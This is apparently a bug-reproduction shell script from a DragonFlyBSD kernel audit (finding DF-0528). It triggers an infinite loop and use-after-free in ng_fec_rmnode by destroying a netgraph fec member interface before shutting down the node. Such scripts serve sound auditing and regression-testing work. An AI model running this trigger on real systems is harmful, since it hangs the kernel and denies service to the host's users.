DragonFlyBSD Kernel Audit
DF-0528 / trigger.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-0528 trigger: ng_fec_rmnode infinite loop when member interface is gone.
#
# ng_fec_rmnode() (:1224) loops:
#     while (!TAILQ_EMPTY(&b->ng_fec_ports)) {
#         p = TAILQ_FIRST(&b->ng_fec_ports);
#         ksprintf(ifname, "%s", p->fec_if->if_xname);  <- UAF if iface freed
#         ng_fec_delport(priv, ifname);
#     }
# ng_fec_delport() (:417) does ifunit(iface); if the underlying interface
# was destroyed, ifunit() returns NULL and delport returns ENOENT WITHOUT
# removing the port from the TAILQ -> the loop never terminates.
# Additionally p->fec_if->if_xname is a use-after-free.
#
# Requires a WORKING ng_fec node (DF-0529 must be fixed on this kernel).
#
# EXPECTED (bug present, on DF-0529-fixed kernel): kernel hang / soft
#   lockup in ng_fec_rmnode; the rmnode call never returns; guest
#   becomes unresponsive to further netgraph ops.
#
# EXPECTED (fixed): rmnode returns promptly, node destroyed cleanly.
#
# Run as root.

set -e
kldload netgraph 2>/dev/null || true
kldload ng_fec  2>/dev/null || true

ifconfig tap0 create 2>/dev/null || true
ifconfig tap0 up 2>/dev/null || true

ngctl mkpeer .: fec lower inet/raw/ip 2>/dev/null || true
ngctl msg fec0: addport '"tap0"' 2>/dev/null || true
echo "fec0 bundle has tap0; now destroying tap0 (simulating iface gone)..."
ifconfig tap0 destroy 2>/dev/null || true

echo "shutting down fec0 node -> ng_fec_rmnode will loop forever (bug)..."
timeout 15 ngctl shutdown fec0:
echo "RC=$? (rc=124 means rmnode hung = bug present; rc=0 = fixed)"